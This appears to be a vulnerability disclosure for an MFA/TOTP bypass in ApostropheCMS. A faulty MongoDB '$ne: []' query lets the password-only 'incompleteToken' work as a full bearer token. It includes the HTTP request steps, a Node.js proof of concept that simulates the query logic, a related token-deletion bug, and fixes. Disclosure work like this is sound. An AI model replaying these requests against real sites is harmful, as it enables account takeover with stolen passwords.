Attack Scenario

Prerequisites

• ApostropheCMS instance with @apostrophecms/login-totp enabled
• Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)
• Attacker does NOT know the victim's TOTP secret/code

Steps

1. Authenticate with password only:

   POST /api/v1/@apostrophecms/login/login
   Content-Type: application/json
   
   {"username": "admin", "password": "correct_password", "session": false}
   

2. Receive incomplete token (server correctly requires TOTP):

   {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}
   

3. Use incomplete token as bearer token (bypassing TOTP):

   GET /api/v1/@apostrophecms/page
   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx
   

4. Full authenticated access granted. The bearer token middleware matches the token because requirementsToVerify: ["AposTotp"] satisfies $ne: []. The attacker has complete API access as the victim without ever providing a TOTP code.

Proof of Concept

See mfa-bypass-poc.js — demonstrates the query logic bug with all token states. Run:

#!/usr/bin/env node
/**
 * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware
 *
 * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js
 * has a logic error in the MongoDB query that validates bearer tokens.
 *
 * The comment says:
 *   "requirementsToVerify array should be empty or inexistant
 *    for the token to be usable to log in."
 *
 * But the actual query uses `$ne: []` (NOT equal to empty array),
 * which matches tokens WITH unverified requirements — the exact opposite
 * of the intended behavior.
 *
 * This allows an attacker who knows a user's password (but NOT their
 * TOTP code) to use the "incompleteToken" returned after password
 * verification as a fully authenticated bearer token, bypassing MFA.
 *
 * Affected: ApostropheCMS with @apostrophecms/login-totp (or any
 * custom afterPasswordVerified requirement)
 *
 * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389
 */

const RED = '\x1b[91m';
const GREEN = '\x1b[92m';
const YELLOW = '\x1b[93m';
const CYAN = '\x1b[96m';
const RESET = '\x1b[0m';
const BOLD = '\x1b[1m';

// Simulate MongoDB's $ne operator behavior
function mongoNe(fieldValue, compareValue) {
  // MongoDB $ne: true if field value is NOT equal to compareValue
  // For arrays, MongoDB compares by value
  if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {
    if (fieldValue.length !== compareValue.length) return true;
    return fieldValue.some((v, i) => v !== compareValue[i]);
  }
  return fieldValue !== compareValue;
}

// Simulate MongoDB's $exists operator
function mongoExists(doc, field, shouldExist) {
  const exists = field in doc;
  return exists === shouldExist;
}

// Simulate MongoDB's $size operator
function mongoSize(fieldValue, size) {
  if (!Array.isArray(fieldValue)) return false;
  return fieldValue.length === size;
}

// Simulate the VULNERABLE bearer token query (line 386-389)
function vulnerableQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $ne: [] } }     <-- BUG
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoNe(token.requirementsToVerify, [])
    : false;
  return cond1 || cond2;
}

// Simulate the FIXED bearer token query
function fixedQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $size: 0 } }    <-- FIX
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoSize(token.requirementsToVerify, 0)
    : false;
  return cond1 || cond2;
}

function banner() {
  console.log(`${CYAN}${BOLD}
╔══════════════════════════════════════════════════════════════════╗
║  ApostropheCMS MFA/TOTP Bypass PoC                              ║
║  Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq)  ║
║  @apostrophecms/express/index.js:386-389                         ║
╚══════════════════════════════════════════════════════════════════╝${RESET}
`);
}

function test(name, token, expectedVuln, expectedFixed) {
  const vulnResult = vulnerableQuery(token);
  const fixedResult = fixedQuery(token);

  const vulnCorrect = vulnResult === expectedVuln;
  const fixedCorrect = fixedResult === expectedFixed;

  console.log(`${BOLD}${name}${RESET}`);
  console.log(`  Token: ${JSON.stringify(token)}`);
  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);
  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);

  if (vulnResult && !fixedResult) {
    console.log(`  ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);
  }
  console.log();
  return vulnResult && !fixedResult;
}

// ——— Main ———
banner();
const bypasses = [];

console.log(`${BOLD}--- Token States During Login Flow ---${RESET}\n`);

// 1. Normal bearer token (no MFA configured)
// Created by initialLogin when there are no lateRequirements
// Token: { _id: "xxx", userId: "yyy", expires: Date }
// No requirementsToVerify field at all
test(
  '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',
  { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 2. Incomplete token — password verified, TOTP NOT verified
// Created by initialLogin when lateRequirements exist
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: ["AposTotp"], expires: Date }
const bypass1 = test(
  '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',
  { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])
  false  // fixed: rejected (correct)
);
if (bypass1) bypasses.push('TOTP bypass');

// 3. Token after all requirements verified (empty array, before $unset)
// After requirementVerify pulls each requirement from the array
// Token: { _id: "xxx", userId: "yyy", requirementsToVerify: [], expires: Date }
test(
  '[Token 3] All requirements verified (empty array) — should be ACCEPTED',
  { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },
  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])
  true   // fixed: accepted (correct)
);

// 4. Finalized token (requirementsToVerify removed via $unset)
// After finalizeIncompleteLogin calls $unset
// Token: { _id: "xxx", userId: "yyy", expires: Date }
test(
  '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',
  { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },
  true,  // vulnerable: accepted (correct)
  true   // fixed: accepted (correct)
);

// 5. Multiple unverified requirements
const bypass2 = test(
  '[Token 5] Multiple unverified requirements — should be REJECTED',
  { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },
  true,  // vulnerable: ACCEPTED (BUG!)
  false  // fixed: rejected (correct)
);
if (bypass2) bypasses.push('Multi-requirement bypass');

// Attack scenario
console.log(`${BOLD}--- Attack Scenario ---${RESET}\n`);
console.log(`  ${YELLOW}Prerequisites:${RESET}`);
console.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);
console.log(`    - Attacker knows victim's username and password`);
console.log(`    - Attacker does NOT know victim's TOTP code\n`);

console.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);
console.log(`    POST /api/v1/@apostrophecms/login/login`);
console.log(`    {"username": "admin", "password": "correct_password", "session": false}\n`);

console.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);
console.log(`    Response: {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}`);
console.log(`    (TOTP verification still required)\n`);

console.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);
console.log(`    GET /api/v1/@apostrophecms/page`);
console.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n`);

console.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);
console.log(`    MongoDB query: {`);
console.log(`      _id: "clxxxxxxxxxxxxxxxxxxxxxxxxx",`);
console.log(`      expires: { $gte: new Date() },`);
console.log(`      $or: [`);
console.log(`        { requirementsToVerify: { $exists: false } },`);
console.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);
console.log(`      ]`);
console.log(`    }`);
console.log(`    The token has requirementsToVerify: ["AposTotp"]`);
console.log(`    $ne: [] matches because ["AposTotp"] !== []\n`);

console.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);
console.log(`    req.user is set, req.csrfExempt = true`);
console.log(`    Full API access without TOTP verification\n`);

// Summary
console.log(`${BOLD}${'='.repeat(64)}`);
console.log(`Summary`);
console.log(`${'='.repeat(64)}${RESET}`);
console.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\n`);
console.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);
console.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);
console.log(`  The comment says the array should be "empty or inexistant",`);
console.log(`  but $ne: [] matches exactly the opposite — non-empty arrays.\n`);
console.log(`  ${YELLOW}Vulnerable code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);
console.log(`    ]\n`);
console.log(`  ${YELLOW}Fixed code:${RESET}`);
console.log(`    $or: [`);
console.log(`      { requirementsToVerify: { $exists: false } },`);
console.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);
console.log(`    ]\n`);
console.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);
console.log(`  password can skip TOTP verification and gain full authenticated`);
console.log(`  API access by using the incompleteToken as a bearer token.\n`);
console.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);
console.log(`  issue where tokens with ALL requirements verified (empty array,`);
console.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);
console.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);
console.log(`  the field entirely, so the $exists: false path is used instead.`);
console.log();
console.log();

Both bypass vectors (single and multiple unverified requirements) confirmed.

Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin

A second bug in @apostrophecms/login/index.js (lines 728-729, 735-736) amplifies the MFA bypass. When finalizeIncompleteLogin attempts to delete the incomplete token, it uses the wrong identifier:

await self.bearerTokens.removeOne({
    _id: token.userId  // BUG: should be token._id
});

The token's _id is a CUID (e.g., clxxxxxxxxx), but token.userId is the user's document ID. This means:

1. The incomplete token is never deleted from the database, even after a legitimate MFA-verified login
2. Combined with the $ne: [] bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)
3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists

This bug appears at two locations in finalizeIncompleteLogin:

• Line 728-729: Error case (user not found)
• Line 735-736: Success case (session-based login after MFA)

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Replace $ne: [] with $size: 0:

$or: [
    { requirementsToVerify: { $exists: false } },
    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only
]

This ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

Replace token.userId with token._id:

await self.bearerTokens.removeOne({
    _id: token._id  // FIX: use the token's actual ID
});